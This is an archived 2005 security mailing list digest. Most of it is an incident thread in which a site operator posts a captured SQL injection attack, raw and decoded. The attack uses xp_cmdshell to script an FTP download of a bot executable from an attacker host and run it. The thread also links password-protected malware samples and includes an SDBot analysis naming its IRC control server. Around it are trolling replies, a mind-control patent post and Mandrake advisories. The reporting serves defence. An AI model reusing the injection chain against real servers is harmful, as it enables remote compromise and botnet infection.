Individual patches can be downloaded at: http://wouter.coekaerts.be/konversation.html : http://wouter.coekaerts.be/files/konversation-parse.diff http://wouter.coekaerts.be/files/konversation-quickconnect.diff http://wouter.coekaerts.be/files/konversation-scripts.diff -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050119/a2a76962/attachment.bin From danjr at voyager.net Wed Jan 19 18:42:30 2005 From: danjr at voyager.net (danjr) Date: Wed, 19 Jan 2005 13:42:30 -0500 Subject: [Full-Disclosure] Google.com down? Message-ID: <200501191842.j0JIgVAi070892@mail2.mx.voyager.net> Thanks for that. > > On Sat, 15 Jan 2005, danjr wrote: > > > > I just tried to do a google search, > > > and the connection timed out. > > > Coincidentally, I had to dial back > > > into the Internet. After dialing > > > back in, I figured I'd alert > > > everybody that Google might be down! > > > > As previously suggested with a similar email, just because a site is > > down locally does not mean it is down globally. In other words, just > > because you are not able to access a web site, this does not mean that > > others cannot access it. Google is up and running fine. Also, you > > apparently were having internet connection issues to begin with. > > > > Dan > > > Dear Dan Junior, > > Thank you for this amazingly helpful and informative morsel of > knowledge! I am forever in your debt. Until you explained this, I > thought to myself "Woah! Google is *DOWN*! And someone Full- Disclosed it > before I did! Damn!!!". But now I know that he didn't disclose anything > *real*, because local != global. Cool! > > Since you are obviously one really kewl d00d, could you explain > one other thing to me too? I mean, I don't wanna intrude on your l337 > skillz or anything, but could I get just one leeettlleee question from > your huge repository of kewl data? > > What is a "troll"? > > Thanks d00d! > > -- > Yours, > > J.A. Terranson > sysadmin at mfn.org > 0xBD4A95BF > > Civilization is in a tailspin - everything is backwards, everything is > upside down- doctors destroy health, psychiatrists destroy minds, lawyers > destroy justice, the major media destroy information, governments destroy > freedom and religions destroy spirituality - yet it is claimed to be > healthy, just, informed, free and spiritual. We live in a social system > whose community, wealth, love and life is derived from alienation, > poverty, self-hate and medical murder - yet we tell ourselves that it is > biologically and ecologically sustainable. > > The Bush plan to screen whole US population for mental illness clearly > indicates that mental illness starts at the top. > > Rev Dr Michael Ellner > > > > _____________________________________________________ > This message scanned for viruses by CoreComm > From measl at mfn.org Wed Jan 19 18:44:46 2005 From: measl at mfn.org (J.A. Terranson) Date: Wed, 19 Jan 2005 12:44:46 -0600 (CST) Subject: [Full-Disclosure] Google.com down? In-Reply-To: <200501191842.j0JIgVAi070892@mail2.mx.voyager.net> References: <200501191842.j0JIgVAi070892@mail2.mx.voyager.net> Message-ID: <20050119124407.T3683@ubzr.zsa.bet> On Wed, 19 Jan 2005, danjr wrote: > Thanks for that. My pleasure. Really. :-) The moral of the story is "Lighten Up" :-)) All the best there Junior! //Alif > > > > > On Sat, 15 Jan 2005, danjr wrote: > > > > > > I just tried to do a google search, > > > > and the connection timed out. > > > > Coincidentally, I had to dial back > > > > into the Internet. After dialing > > > > back in, I figured I'd alert > > > > everybody that Google might be down! > > > > > > As previously suggested with a similar email, just because a site is > > > down locally does not mean it is down globally. In other words, > just > > > because you are not able to access a web site, this does not mean > that > > > others cannot access it. Google is up and running fine. Also, you > > > apparently were having internet connection issues to begin with. > > > > > > Dan > > > > > > Dear Dan Junior, > > > > Thank you for this amazingly helpful and informative morsel of > > knowledge! I am forever in your debt. Until you explained this, I > > thought to myself "Woah! Google is *DOWN*! And someone Full- > Disclosed it > > before I did! Damn!!!". But now I know that he didn't disclose > anything > > *real*, because local != global. Cool! > > > > Since you are obviously one really kewl d00d, could you explain > > one other thing to me too? I mean, I don't wanna intrude on your l337 > > skillz or anything, but could I get just one leeettlleee question from > > your huge repository of kewl data? > > > > What is a "troll"? > > > > Thanks d00d! > > > > -- > > Yours, > > > > J.A. Terranson > > sysadmin at mfn.org > > 0xBD4A95BF > > > > Civilization is in a tailspin - everything is backwards, everything > is > > upside down- doctors destroy health, psychiatrists destroy minds, > lawyers > > destroy justice, the major media destroy information, governments > destroy > > freedom and religions destroy spirituality - yet it is claimed to be > > healthy, just, informed, free and spiritual. We live in a social > system > > whose community, wealth, love and life is derived from alienation, > > poverty, self-hate and medical murder - yet we tell ourselves that it > is > > biologically and ecologically sustainable. > > > > The Bush plan to screen whole US population for mental illness clearly > > indicates that mental illness starts at the top. > > > > Rev Dr Michael Ellner > > > > > > > > _____________________________________________________ > > This message scanned for viruses by CoreComm > > > > > > -- Yours, J.A. Terranson sysadmin at mfn.org 0xBD4A95BF Civilization is in a tailspin - everything is backwards, everything is upside down- doctors destroy health, psychiatrists destroy minds, lawyers destroy justice, the major media destroy information, governments destroy freedom and religions destroy spirituality - yet it is claimed to be healthy, just, informed, free and spiritual. We live in a social system whose community, wealth, love and life is derived from alienation, poverty, self-hate and medical murder - yet we tell ourselves that it is biologically and ecologically sustainable. The Bush plan to screen whole US population for mental illness clearly indicates that mental illness starts at the top. Rev Dr Michael Ellner From mducharme at cybergeneration.com Wed Jan 19 19:12:39 2005 From: mducharme at cybergeneration.com (Maxime Ducharme) Date: Wed, 19 Jan 2005 14:12:39 -0500 Subject: [Full-Disclosure] Re: [Dshield] SQL injection worm ? References: <022d01c4f34b$311d3130$b000a8c0@cybergeneration.com> Message-ID: <063e01c4fe5a$d7b91800$b000a8c0@cybergeneration.com> Hi to the List today we received the same SQL injection attack on the same URL : IP : 24.1.139.29 (c-24-1-139-29.client.comcast.net) User Agent : none sent HTTP Verb : GET /theasppage.asp?anID= Attack : 377';exec MASTER..xp_cmdshell 'mkdir %systemroot%\system32\Macromed\lolx\'; exec MASTER..xp_cmdshell 'echo open z.z.z.z 21 >> %systemroot%\system32\Macromed\lolx\blah.jkd'; exec MASTER..xp_cmdshell 'echo USER chadicka r0ckpaul >> %systemroot%\system32\macromed\lolx\blah.jkd'; exec MASTER..xp_cmdshell 'echo binary >> %systemroot%\system32\macromed\lolx\blah.jkd'; exec MASTER..xp_cmdshell 'echo get lol.exe %systemroot%\system32\Macromed\lolx\arcdlrde.exe >> %systemroot%\system32\Macromed\lolx\blah.jkd'; exec MASTER..xp_cmdshell 'echo quit >> %systemroot%\system32\Macromed\lolx\blah.jkd'; exec MASTER..xp_cmdshell 'ftp.exe -i -n -v -s:%systemroot%\system32\Macromed\lolx\blah.jkd'; exec MASTER..xp_cmdshell 'del %systemroot%\system32\Macromed\lolx\blah.jkd'; exec MASTER..xp_cmdshell '%systemroot%\system32\Macromed\lolx\arcdlrde.exe'-- The lol.exe file can be found in this archive for inspection : http://www.cybergeneration.com/security/2005.01.19/lol.zip zip pass is das978tewa234 Norton with definitions of 12 jan. doesnt find anything suspicious. I'm interested if someone do an analysis on this file. Have a nice day Maxime Ducharme Programmeur / Sp?cialiste en s?curit? r?seau ----- Original Message ----- From: "Maxime Ducharme" To: ; "General DShield Discussion List" ; Sent: Wednesday, January 05, 2005 12:22 PM Subject: [Dshield] SQL injection worm ? > > Hi list, > we receveid a particular SQL injection attack > on one of our site. > > Attack looks like : > 2005-01-05 14:39:20 24.164.202.24 - W3SVCX SRVNAME x.x.x.x 80 GET > /Nouvelles.asp > id_nouvelle=377';%65%78%65%63%20%4D%41%53%54%45%52..%78%70%5F%63%6D%64%73%68 > %65%6C%6C%20'mkdir%20%25systemroot%25%5Csystem32%5CMacromed%5Clolx%5C';%65%7 > 8%65%63%20%4D%41%53%54%45%52..%78%70%5F%63%6D%64%73%68%65%6C%6C%20'echo%20op > en%20y.y.y.y%2021%20%3E%3E%20%25systemroot%25%5Csystem32%5CMacromed% > 5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%78%70%5F%63%6D%64%73% > 68%65%6C%6C%20'echo%20USER%20hahajk%20hahaowned%20%3E%3E%20%25systemroot%25% > 5Csystem32%5Cmacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52.. > %78%70%5F%63%6D%64%73%68%65%6C%6C%20'echo%20get%20rBot.exe%20%25systemroot%2 > 5%5Csystem32%5CMacromed%5Clolx%5Carcdlrde.exe%20%3E%3E%20%25systemroot%25%5C > system32%5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%7 > 8%70%5F%63%6D%64%73%68%65%6C%6C%20'echo%20quit%20%3E%3E%20%25systemroot%25%5 > Csystem32%5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..% > 78%70%5F%63%6D%64%73%68%65%6C%6C%20'ftp.exe%20-i%20-n%20-v%20-s:%25systemroo > t%25%5Csystem32%5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45 > %52..%78%70%5F%63%6D%64%73%68%65%6C%6C%20'del%20%25systemroot%25%5Csystem32% > 5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%78%70%5F%6 > 3%6D%64%73%68%65%6C%6C%20'%25systemroot%25%5Csystem32%5CMacromed%5Clolx%5Car > cdlrde.exe'--|17|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Lin > e_1:_Incorrect_syntax_near_''. 500 0 0 1395 570 HTTP/1.1 > attacked.web.site.com - - - > > HTTP request contains only 2 fields (beside HTTP method) : > Connection: Keep-Alive > Host: attacked.web.site.com > > (I obviously replaced the name of the site). > > Decoded SQL injection looks like : > exec MASTER..xp_cmdshell 'mkdir %systemroot%\system32\Macromed\lolx\'; > exec MASTER..xp_cmdshell 'echo open y.y.y.y 21 >> > %systemroot%\system32\Macromed\lolx\blah.jkd'; > exec MASTER..xp_cmdshell 'echo USER hahajk hahaowned >> > %systemroot%\system32\macromed\lolx\blah.jkd'; > exec MASTER..xp_cmdshell 'echo get rBot.exe > %systemroot%\system32\Macromed\lolx\arcdlrde.exe >> > %systemroot%\system32\Macromed\lolx\blah.jkd'; > exec MASTER..xp_cmdshell 'echo quit >> > %systemroot%\system32\Macromed\lolx\blah.jkd'; > exec MASTER..xp_cmdshell > 'ftp.exe -i -n -v -s:%systemroot%\system32\Macromed\lolx\blah.jkd'; > exec MASTER..xp_cmdshell 'del %systemroot%\system32\Macromed\lolx\blah.jkd'; > exec MASTER..xp_cmdshell '%systemroot%\system32\Macromed\lolx\arcdlrde.exe > > y.y.y.y is a foreign IP in Europe which host FTP an WWW server. > I sent a notice this this site sysadmin about the situation. > > I have been able to connect to this FTP with the account hahajk/hahaowned > (which do not seem legit to me ...) and download suspicious files. > I mirrored them here : > http://www.cybergeneration.com/security/2005.01.05/rbot.exe_ftp.zip > zip pass is 968goyw439807r3qw > > 24.164.202.24 is on rr.com networks, they have also been advised. > > I know rbot.exe is known to be Randex worm, but i'd like that have > some other results / analysis. > > I also found a "test.asp" file which contains the Spybot worm. > > Weird thing is, I searched for this hosts's activity on every server > and every firewall we run, and I only see 1 TCP connection which > is the prepared SQL injections attack, nothing else. > > Anybody see similar activity ? > > I'm asking since I want to know if we are targeted by someone of > by a worm like Santy of use search engines to find vulnerable > ASP scripts. > > Thanks in advance > > Happy new year to everyone ! > > Maxime Ducharme > Programmeur / Sp?cialiste en s?curit? r?seau > > > > -------------- Sponsor Message ------------------------------------ > SANS Intrusion Immersion Training: Orlando, FL, February 3-9th > http://www.sans.org/orlando05 > > _______________________________________________ > send all posts to list at lists.dshield.org > To change your subscription options (or unsubscribe), see: http://www.dshield.org/mailman/listinfo/list > From johnccosta at yahoo.ca Wed Jan 19 19:43:49 2005 From: johnccosta at yahoo.ca (John Costa) Date: Wed, 19 Jan 2005 14:43:49 -0500 (EST) Subject: [Full-Disclosure] BlackBerry PIN's are Not Confidential Message-ID: <20050119194349.69280.qmail@web41129.mail.yahoo.com> Is anyone aware of tools/techniques capable of sniffing/intercepting Blackberry PIN to PIN messages? Your input will be very much appreciated Thank you ===== J. C. Costa ______________________________________________________________________ Post your free ad now! http://personals.yahoo.ca From kin186 at hackermail.com Wed Jan 19 21:05:25 2005 From: kin186 at hackermail.com (White Self-Existing World-Bridger) Date: Thu, 20 Jan 2005 05:05:25 +0800 Subject: [Full-Disclosure] Illegal mind control is coming to the USA,black helicopters Message-ID: <20050119210525.0B9EE7A88F5@ws4-4.us4.outblaze.com> LOL! -- kin 186: White Self-Existing World-Bridger ------------------------------------------ I Define in order to Equalize Measuring Opportunity I seal the Store of Death With the Self-Existing tone of Form I am guided by the power of Spirit -- _______________________________________________ Get your free email from http://www.hackermail.com Powered by Outblaze From tmyers at coactivesys.com Wed Jan 19 21:24:58 2005 From: tmyers at coactivesys.com (Tim Myers) Date: Wed, 19 Jan 2005 16:24:58 -0500 Subject: FW: [Full-Disclosure] Re: [Dshield] SQL injection worm ? Message-ID: <0165C1691D16E74FB824E403E47790CD20C5A4@MINASTIRITH.hobbiton.com> Maxime, Here is the information I've gathered on lol.exe. Hope this helps you out or anyone else that has this worm. Let me know if you need anything else. Tim Myers FILE INFORMATION: The file consists of SDBot which is a Win32 Backdoor. Packed/Encrypted with Morphine 1.2 The trojan connects to IRC Server - 170.211.69.66:6667 Where it will wait for commands. Drops msgfix.exe into the \windows\system32 directory and adds itself to startup via HKLM\..\..\run IP INFORMATION: [170.211.69.66] OrgName: Arkansas Public School Computer Network OrgID: APSCN Address: #4 State Capitol Mall, Room 401A City: Little Rock StateProv: AR PostalCode: 72201-1071 Country: US NetRange: 170.211.0.0 - 170.211.255.255 CIDR: 170.211.0.0/16 NetName: APSCN-1 NetHandle: NET-170-211-0-0-1 Parent: NET-170-0-0-0-0 NetType: Direct Assignment NameServer: DNS3.STATE.AR.US NameServer: DNS1.STATE.AR.US Comment: RegDate: 1995-01-30 Updated: 2000-02-08 TechHandle: ZS25-ARIN TechName: State of Arkansas TechPhone: +1-501-682-0500 TechEmail: hostmaster at dcs.state.ar.us SDBOT INFORMATION: Backdoor.Sdbot is a server component (bot) that the Trojan's creator distributes over IRC channels. This Trojan horse allows its creator to perform a wide variety of actions on a compromised computer. The Trojan arrives in the form of a Portable Executable (PE) file. When Backdoor.Sdbot is executed, it does the following: Copies itself to the %System% folder. The file name to which it copies itself can vary. Some known file names are: Cnfgldr.exe cthelp.exe Sysmon16.exe Sys3f2.exe Syscfg32.exe Mssql.exe Aim95.exe Svchosts.exe FB_PNU.EXE Cmd32.exe Sys32.exe Explorer.exe IEXPL0RE.EXE iexplore.exe sock32.exe MSTasks.exe service.exe Regrun.exe ipcl32.exe syswin32.exe CMagesta.exe YahooMsgr.exe vcvw.exe spooler.exe MSsrvs32.exe svhost.exe winupdate32.exe quicktimeprom.exe NOTE: %System% is a variable. The Trojan locates the \Windows\System folder (by default, this is C:\Windows\System or C:\Winnt\System32), and then copies itself to that location. Adds one of the following values: "Configuration Manager"="Cnfgldr.exe" "System Monitor"="Sysmon16.exe" "MSSQL"="Mssql.exe" "Configuration Loader" = "aim95.exe" "Internet Config" = "svchosts.exe" "System33" = "%System%\FB_PNU.EXE" "Configuration Loader"="cmd32.exe" "Windows Explorer"="Explorer.exe" "Configuration Loader"="IEXPL0RE.EXE" "Configuration Loader"="%System%\iexplore.exe" "Sock32"="sock32.exe" "Configuration Loader"="MSTasks.exe" "Windows Services"="service.exe" "Registry Checker" = "%System%\Regrun.exe" "Internet Protocol Configuration Loader" = "ipcl32.exe "syswin32" = "syswin32.exe" "MachineTest" = "CMagesta.exe" "Yahoo Instant Messenger" = "Yahoo Instant Messenger" "Fixnice" = "vcvw.exe" "Windows Configuration" = "spooler.exe" "Microsoft Video Capture Controls" = "MSsrvs32.exe" "Microsoft Synchronization Manager" = "svhost.exe" "Microsoft Synchronization Manager" = "winupdate32.exe" "Quick Time file manager" = "quicktimeprom.exe" "cthelp"="cthelp.exe" or a similar value to the following registry keys: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ RunServices HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Backdoor.Sdbot contains its own IRC client, allowing it to connect to an IRC channel that was coded into the Trojan. Using the IRC channel, the Trojan listens for the commands from the Trojan's creator. The creator of the Trojan accesses the Trojan by using a password-protected authorization. The commands allow the Trojan's creator to perform any of the following actions: Manage the Backdoor installation. Control the IRC client on a compromised computer. Dynamically update the installed Trojan. Send the Trojan to other IRC channels to attempt to compromise more computers. Download and execute files. Deliver system and network information to the Trojan's creator. Perform Denial of Service (DoS) attacks against a target, which the Trojan's creator defines. Completely uninstall itself by removing the relevant registry entries. -----Original Message----- From: full-disclosure-bounces at lists.netsys.com [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Maxime Ducharme Sent: Wednesday, January 19, 2005 2:13 PM To: full-disclosure at lists.netsys.com; General DShield Discussion List; incidents at securityfocus.com Subject: [Full-Disclosure] Re: [Dshield] SQL injection worm ? Hi to the List today we received the same SQL injection attack on the same URL : IP : 24.1.139.29 (c-24-1-139-29.client.comcast.net) User Agent : none sent HTTP Verb : GET /theasppage.asp?anID= Attack : 377';exec MASTER..xp_cmdshell 'mkdir %systemroot%\system32\Macromed\lolx\'; exec MASTER..xp_cmdshell 'echo open z.z.z.z 21 >> %systemroot%\system32\Macromed\lolx\blah.jkd'; exec MASTER..xp_cmdshell 'echo USER chadicka r0ckpaul >> %systemroot%\system32\macromed\lolx\blah.jkd'; exec MASTER..xp_cmdshell 'echo binary >> %systemroot%\system32\macromed\lolx\blah.jkd'; exec MASTER..xp_cmdshell 'echo get lol.exe %systemroot%\system32\Macromed\lolx\arcdlrde.exe >> %systemroot%\system32\Macromed\lolx\blah.jkd'; exec MASTER..xp_cmdshell 'echo quit >> %systemroot%\system32\Macromed\lolx\blah.jkd'; exec MASTER..xp_cmdshell 'ftp.exe -i -n -v -s:%systemroot%\system32\Macromed\lolx\blah.jkd'; exec MASTER..xp_cmdshell 'del %systemroot%\system32\Macromed\lolx\blah.jkd'; exec MASTER..xp_cmdshell '%systemroot%\system32\Macromed\lolx\arcdlrde.exe'-- The lol.exe file can be found in this archive for inspection : http://www.cybergeneration.com/security/2005.01.19/lol.zip zip pass is das978tewa234 Norton with definitions of 12 jan. doesnt find anything suspicious. I'm interested if someone do an analysis on this file. Have a nice day Maxime Ducharme Programmeur / Sp?cialiste en s?curit? r?seau ----- Original Message ----- From: "Maxime Ducharme" To: ; "General DShield Discussion List" ; Sent: Wednesday, January 05, 2005 12:22 PM Subject: [Dshield] SQL injection worm ? > > Hi list, > we receveid a particular SQL injection attack on one of our site. > > Attack looks like : > 2005-01-05 14:39:20 24.164.202.24 - W3SVCX SRVNAME x.x.x.x 80 GET > /Nouvelles.asp > id_nouvelle=377';%65%78%65%63%20%4D%41%53%54%45%52..%78%70%5F%63%6D%64%73%68 > %65%6C%6C%20'mkdir%20%25systemroot%25%5Csystem32%5CMacromed%5Clolx%5C';%65%7 > 8%65%63%20%4D%41%53%54%45%52..%78%70%5F%63%6D%64%73%68%65%6C%6C%20'echo%20op > en%20y.y.y.y%2021%20%3E%3E%20%25systemroot%25%5Csystem32%5CMacromed% > 5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%78%70%5F%63%6D%64%73% > 68%65%6C%6C%20'echo%20USER%20hahajk%20hahaowned%20%3E%3E%20%25systemroot%25% > 5Csystem32%5Cmacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52.. > %78%70%5F%63%6D%64%73%68%65%6C%6C%20'echo%20get%20rBot.exe%20%25systemroot%2 > 5%5Csystem32%5CMacromed%5Clolx%5Carcdlrde.exe%20%3E%3E%20%25systemroot%25%5C > system32%5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%7 > 8%70%5F%63%6D%64%73%68%65%6C%6C%20'echo%20quit%20%3E%3E%20%25systemroot%25%5 > Csystem32%5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..% > 78%70%5F%63%6D%64%73%68%65%6C%6C%20'ftp.exe%20-i%20-n%20-v%20-s:%25systemroo > t%25%5Csystem32%5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45 > %52..%78%70%5F%63%6D%64%73%68%65%6C%6C%20'del%20%25systemroot%25%5Csystem32% > 5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%78%70%5F%6 > 3%6D%64%73%68%65%6C%6C%20'%25systemroot%25%5Csystem32%5CMacromed%5Clolx%5Car > cdlrde.exe'--|17|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Lin > e_1:_Incorrect_syntax_near_''. 500 0 0 1395 570 HTTP/1.1 > attacked.web.site.com - - - > > HTTP request contains only 2 fields (beside HTTP method) : > Connection: Keep-Alive > Host: attacked.web.site.com > > (I obviously replaced the name of the site). > > Decoded SQL injection looks like : > exec MASTER..xp_cmdshell 'mkdir %systemroot%\system32\Macromed\lolx\'; > exec MASTER..xp_cmdshell 'echo open y.y.y.y 21 >> > %systemroot%\system32\Macromed\lolx\blah.jkd'; > exec MASTER..xp_cmdshell 'echo USER hahajk hahaowned >> > %systemroot%\system32\macromed\lolx\blah.jkd'; > exec MASTER..xp_cmdshell 'echo get rBot.exe > %systemroot%\system32\Macromed\lolx\arcdlrde.exe >> > %systemroot%\system32\Macromed\lolx\blah.jkd'; > exec MASTER..xp_cmdshell 'echo quit >> > %systemroot%\system32\Macromed\lolx\blah.jkd'; > exec MASTER..xp_cmdshell > 'ftp.exe -i -n -v -s:%systemroot%\system32\Macromed\lolx\blah.jkd'; > exec MASTER..xp_cmdshell 'del %systemroot%\system32\Macromed\lolx\blah.jkd'; > exec MASTER..xp_cmdshell > '%systemroot%\system32\Macromed\lolx\arcdlrde.exe > > y.y.y.y is a foreign IP in Europe which host FTP an WWW server. > I sent a notice this this site sysadmin about the situation. > > I have been able to connect to this FTP with the account > hahajk/hahaowned (which do not seem legit to me ...) and download suspicious files. > I mirrored them here : > http://www.cybergeneration.com/security/2005.01.05/rbot.exe_ftp.zip > zip pass is 968goyw439807r3qw > > 24.164.202.24 is on rr.com networks, they have also been advised. > > I know rbot.exe is known to be Randex worm, but i'd like that have > some other results / analysis. > > I also found a "test.asp" file which contains the Spybot worm. > > Weird thing is, I searched for this hosts's activity on every server > and every firewall we run, and I only see 1 TCP connection which is > the prepared SQL injections attack, nothing else. > > Anybody see similar activity ? > > I'm asking since I want to know if we are targeted by someone of by a > worm like Santy of use search engines to find vulnerable ASP scripts. > > Thanks in advance > > Happy new year to everyone ! > > Maxime Ducharme > Programmeur / Sp?cialiste en s?curit? r?seau > > > > -------------- Sponsor Message ------------------------------------ > SANS Intrusion Immersion Training: Orlando, FL, February 3-9th > http://www.sans.org/orlando05 > > _______________________________________________ > send all posts to list at lists.dshield.org To change your subscription > options (or unsubscribe), see: http://www.dshield.org/mailman/listinfo/list > _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html From sil at infiltrated.net Wed Jan 19 21:34:54 2005 From: sil at infiltrated.net (J. Oquendo) Date: Wed, 19 Jan 2005 16:34:54 -0500 (EST) Subject: [Full-Disclosure] Re: Illegal mind control... etc Message-ID: > LOL! > While this entire thread is extremely off topic, in fact a huge portion of everything I've read on this list seems to be just that, off topic, I would like to add some information regarding so called mind control via way of the government. This is not conspiratorial for this who want to misconstrue that very word and resend it, it is mere fact based on patented information and products. /// United States Patent 5,159,703 Lowery October 27, 1992 Silent subliminal presentation system Abstract A silent communications system in which nonaural carriers, in the very low or very high audio frequency range or in the adjacent ultrasonic frequency spectrum, are amplitude or frequency modulated with the desired intelligence and propagated acoustically or vibrationally, for inducement into the brain, typically through the use of loudspeakers, earphones or piezoelectric transducers. The modulated carriers may be transmitted directly in real time or may be conveniently recorded and stored on mechanical, magnetic or optical media for delayed or repeated transmission to the listener. Inventors: Lowery; Oliver M. (5188 Falconwood Ct., Norcross, GA 30071) Appl. No.: 458339 Filed: December 28, 1989 U.S. Class: 455/42; 455/46; 455/66; 381/73.1; 128/420.5 Intern'l Class: H04B 007/00; H04R 025/00; H04R 003/02 Field of Search: 455/46,47,66,109,110,42-43 381/73.1,105,124 358/141-143 600/28 128/420.5 380/38 References Cited [Referenced By] U.S. Patent Documents 3060795 Oct., 1962 Corrigan et al. 352/131. 3278676 Oct., 1966 Becker 358/142. 3393279 Jul., 1968 Flanagan 128/420. 3712292 Jan., 1973 Zentmeyer, Jr. 600/28. 4141344 Feb., 1979 Barbara 600/28. 4395600 Jul., 1983 Lundy et al. 381/73. 4463392 Jul., 1984 Fischer et al. 360/30. 4777529 Oct., 1988 Schultz et al. 381/73. 4834701 May., 1989 Masaki 600/28. 4877027 Oct., 1989 Brunkan 128/420. Primary Examiner: Eisenzopf; Reinhard J. Assistant Examiner: Faile; Andrew /// More information on this can be Googled, validated at USPTO.gov or you can check out what I have archived from abroad at http://www.infiltrated.net/silentsound/ =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ J. Oquendo GPG Key ID 0x51F9D78D Fingerprint 2A48 BA18 1851 4C99 CA22 0619 DB63 F2F7 51F9 D78D http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x51F9D78D sil @ politrix . org http://www.politrix.org sil @ infiltrated . net http://www.infiltrated.net "How a man plays the game shows something of his character - how he loses shows all" - Mr. Luckey From security at linux-mandrake.com Wed Jan 19 22:04:48 2005 From: security at linux-mandrake.com (Mandrake Linux Security Team) Date: Wed, 19 Jan 2005 15:04:48 -0700 Subject: [Full-Disclosure] MDKSA-2005:009 - Updated mpg123 packages fix vulnerability Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandrakelinux Security Update Advisory _______________________________________________________________________ Package name: mpg123 Advisory ID: MDKSA-2005:009 Date: January 19th, 2005 Affected versions: 10.0, 10.1, Corporate Server 2.1, Corporate Server 3.0 ______________________________________________________________________ Problem Description: A vulnerability in mpg123's ability to parse frame headers in input streams could allow a malicious file to exploit a buffer overflow and execute arbitray code with the permissions of the user running mpg123. The updated packages have been patched to prevent these problems. _______________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0991 ______________________________________________________________________ Updated Packages: Mandrakelinux 10.0: c6853d42d98e62393a7f819a2ffe3356 10.0/RPMS/mpg123-0.59r-22.2.100mdk.i586.rpm a23d6bfb05fa6ac27067bc31428092eb 10.0/SRPMS/mpg123-0.59r-22.2.100mdk.src.rpm Mandrakelinux 10.0/AMD64: 4ee7ef6a8d53837780ed7f2b03839673 amd64/10.0/RPMS/mpg123-0.59r-22.2.100mdk.amd64.rpm a23d6bfb05fa6ac27067bc31428092eb amd64/10.0/SRPMS/mpg123-0.59r-22.2.100mdk.src.rpm Mandrakelinux 10.1: 3f9c35756148f51b279631123545b75b 10.1/RPMS/mpg123-0.59r-22.2.101mdk.i586.rpm 4cf62de0ff365cd0e74c417f84b7730e 10.1/SRPMS/mpg123-0.59r-22.2.101mdk.src.rpm Mandrakelinux 10.1/X86_64: ee70a13d4ccfcf5f8fbd9ed778186647 x86_64/10.1/RPMS/mpg123-0.59r-22.2.101mdk.x86_64.rpm 4cf62de0ff365cd0e74c417f84b7730e x86_64/10.1/SRPMS/mpg123-0.59r-22.2.101mdk.src.rpm Corporate Server 2.1: b68e025bfc40ff120c63d77bed97270b corporate/2.1/RPMS/mpg123-0.59r-21.3.C21mdk.i586.rpm 437ddd9bda9615417690f737e9722990 corporate/2.1/SRPMS/mpg123-0.59r-21.3.C21mdk.src.rpm Corporate Server 2.1/x86_64: deb362353f3912ed0154847947c45543 x86_64/corporate/2.1/RPMS/mpg123-0.59r-21.3.C21mdk.x86_64.rpm 437ddd9bda9615417690f737e9722990 x86_64/corporate/2.1/SRPMS/mpg123-0.59r-21.3.C21mdk.src.rpm Corporate Server 3.0: 2d5fd7533161e466ba3f3b1307be77d1 corporate/3.0/RPMS/mpg123-0.59r-22.2.C30mdk.i586.rpm 7aab2dce78c90489c8da66e715b61bf5 corporate/3.0/SRPMS/mpg123-0.59r-22.2.C30mdk.src.rpm _______________________________________________________________________ To upgrade automatically use MandrakeUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandrakesoft for security. You can obtain the GPG public key of the Mandrakelinux Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandrakelinux at: http://www.mandrakesoft.com/security/advisories If you want to report vulnerabilities, please contact security_linux-mandrake.com Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFB7tmAmqjQ0CJFipgRAuEqAKDFKx1MuA+ZM0+8jl5WaT2PE05iegCgrkKA 9Yf7Vi5oqoFrUwp9Ap2LzEg= =Uamp -----END PGP SIGNATURE----- From security at linux-mandrake.com Wed Jan 19 22:07:35 2005 From: security at linux-mandrake.com (Mandrake Linux Security Team) Date: Wed, 19 Jan 2005 15:07:35 -0700 Subject: [Full-Disclosure] MDKSA-2005:010 - Updated playmidi packages fix buffer overflow vulnerability Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandrakelinux Security Update Advisory _______________________________________________________________________ Package name: playmidi Advisory ID: MDKSA-2005:010 Date: January 19th, 2005 Affected versions: 10.0, 10.1, Corporate Server 3.0 ______________________________________________________________________ Problem Description: Erik Sjolund discovered a buffer overflow in playmidi that could be exploited by a local attacker if installed setuid root. Note that by default Mandrakelinux does not ship playmidi installed setuid root. _______________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0020 ______________________________________________________________________ Updated Packages: Mandrakelinux 10.0: 